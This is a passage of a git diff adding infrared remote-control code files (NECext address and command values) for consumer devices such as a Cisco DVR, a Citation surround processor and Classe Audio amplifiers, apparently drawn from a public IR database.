00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1A 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1D 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1E 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: ANGEL +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 22 00 00 00 +# +name: TITEL_+_KAPITEL +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 25 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 26 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 29 00 00 00 +# +name: CK +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 2A 00 00 00 +# +name: SUB_TITLE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 2D 00 00 00 +# +name: KAPITEL_< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 31 00 00 00 +# +name: KAPITEL_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 32 00 00 00 +# +name: ZEITLUPE_< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 35 00 00 00 +# +name: ZEITLUPE_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 39 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3D 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3E 00 00 00 +# +name: OPTION +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: ZUFALLSWIEDERGABE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 45 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 46 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 49 00 00 00 +# +name: SUCHLAUF_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4A 00 00 00 +# +name: SUCHLAUF_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir b/assets/resources/infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir new file mode 100644 index 000000000..f1d53013c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 02 00 00 00 +# +name: SCART-1 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 05 00 00 00 +# +name: SCART-2 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 06 00 00 00 +# +name: FBAS/SDI-1 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 09 00 00 00 +# +name: FBAS/SDI-2 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 09 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 0A 00 00 00 +# +name: S-VIDEO-1 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 0A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 0D 00 00 00 +# +name: S-VIDEO-2 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 0D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 0E 00 00 00 +# +name: YUV-1 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 0E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 11 00 00 00 +# +name: YUV-2 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 11 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 12 00 00 00 +# +name: BYPASS_RGB +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 12 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 15 00 00 00 +# +name: BYPASS_VGA +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 15 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 16 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 1E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 26 00 00 00 +# +name: LENSSHIFT_UP +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 2E 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 31 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 32 00 00 00 +# +name: LENSSHIFT_DOWN +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 35 00 00 00 +# +name: OVERSCAN +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 36 00 00 00 +# +name: TV_MODE +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 39 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 3A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 3E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 41 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 45 00 00 00 +# +name: OPTION_A +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 46 00 00 00 +# +name: OPTION_B +type: parsed +protocol: NECext +address: 1B 01 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir b/assets/resources/infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir new file mode 100644 index 000000000..66c22beef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 09 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 21 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 28 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 29 00 00 00 +# +name: RECORDED_TV +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 44 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 54 00 00 00 +# +name: EXIT_TO_TV +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 5A 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 86 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir b/assets/resources/infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir new file mode 100644 index 000000000..c4e56a497 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 6_AXIS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 07 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 08 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0E 00 00 00 +# +name: CENTER+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 15 00 00 00 +# +name: CNTR_ON/OFF +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 17 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 19 00 00 00 +# +name: RZ_1_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 25 00 00 00 +# +name: RZ_2_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 26 00 00 00 +# +name: RZ_3_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 27 00 00 00 +# +name: RZ_4_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 28 00 00 00 +# +name: RZ_5_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 29 00 00 00 +# +name: RZ_6_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 2A 00 00 00 +# +name: RZ_VOL_UP +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 2C 00 00 00 +# +name: RZ_VOL_DN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 2D 00 00 00 +# +name: RZ_OFF +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 2E 00 00 00 +# +name: RZ_VOL_MUTE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 2F 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 41 00 00 00 +# +name: A_1_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 42 00 00 00 +# +name: D_3_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 43 00 00 00 +# +name: D_4_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 44 00 00 00 +# +name: D_5_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 45 00 00 00 +# +name: A_2_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 46 00 00 00 +# +name: D_6_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 47 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 48 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 49 00 00 00 +# +name: RECORD_ZONE_II +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 49 00 00 00 +# +name: A_3_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4A 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4B 00 00 00 +# +name: A_4_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 50 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 51 00 00 00 +# +name: A_5_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 52 00 00 00 +# +name: DISPLY +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 53 00 00 00 +# +name: A_6_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 54 00 00 00 +# +name: D_1_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 55 00 00 00 +# +name: D_2_IN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 57 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 58 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir new file mode 100644 index 000000000..322ab6ffc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: L/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir new file mode 100644 index 000000000..a10199616 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_TOGGLE_AMP1_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 01 00 00 00 +# +name: POWER_TOGGLE_AMP1_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 01 00 00 00 +# +name: POWER_TOGGLE_AMP2_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 02 00 00 00 +# +name: POWER_TOGGLE_AMP2_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 02 00 00 00 +# +name: POWER_TOGGLE_AMP3_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 03 00 00 00 +# +name: POWER_TOGGLE_AMP3_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 03 00 00 00 +# +name: POWER_TOGGLE_AMP4_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 04 00 00 00 +# +name: POWER_TOGGLE_AMP4_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 04 00 00 00 +# +name: POWER_TOGGLE_AMP5_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 05 00 00 00 +# +name: POWER_TOGGLE_AMP5_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 05 00 00 00 +# +name: POWER_TOGGLE_AMP6_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 06 00 00 00 +# +name: POWER_TOGGLE_AMP6_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 06 00 00 00 +# +name: POWER_TOGGLE_AMP7_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 07 00 00 00 +# +name: POWER_TOGGLE_AMP7_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 07 00 00 00 +# +name: POWER_TOGGLE_AMP8_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 08 00 00 00 +# +name: POWER_TOGGLE_AMP8_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 08 00 00 00 +# +name: POWER_TOGGLE_AMP9_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 09 00 00 00 +# +name: POWER_TOGGLE_AMP9_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 09 00 00 00 +# +name: STANDBY_TOGGLE_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY_TOGGLE_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_TOGGLE_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY_STEP_TOG_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY_STEP_TOG_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 0F 00 00 00 +# +name: POWER_TOG_AMP10_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 78 00 00 00 +# +name: POWER_TOG_AMP10_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 78 00 00 00 +# +name: POWER_TOG_AMP11_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 79 00 00 00 +# +name: POWER_TOG_AMP11_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 79 00 00 00 +# +name: POWER_TOG_AMP12_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7A 00 00 00 +# +name: POWER_TOG_AMP12_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7A 00 00 00 +# +name: POWER_TOG_AMP13_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7B 00 00 00 +# +name: POWER_TOG_AMP13_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7B 00 00 00 +# +name: POWER_TOG_AMP14_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7C 00 00 00 +# +name: POWER_TOG_AMP14_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7C 00 00 00 +# +name: POWER_TOG_AMP15_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7D 00 00 00 +# +name: POWER_TOG_AMP15_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 7D 00 00 00 +# +name: OPERATE_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 96 00 00 00 +# +name: OPERATE_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 96 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 97 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 97 00 00 00 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 98 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 98 00 00 00 +# +name: UNMUTE_T0 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 99 00 00 00 +# +name: UNMUTE_T1 +type: parsed +protocol: NECext +address: C9 00 00 00 +command: 99 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir new file mode 100644 index 000000000..e1a637d58 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: ON_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: ON_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: OFF_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: OFF_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: AMP4_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: AMP4_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: AMP3_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: AMP3_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: AMP2_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: AMP2_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: AMP1_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: AMP1_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: AMP6_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: AMP6_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: AMP5_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: AMP5_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir new file mode 100644 index 000000000..034ed2a14 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: BAL_R_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BAL_R_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BAL_L_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BAL_L_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir new file mode 100644 index 000000000..3c20debb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 00 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 04 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 08 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0A 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0B 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0C 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 11 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 12 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 13 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 14 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 15 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed 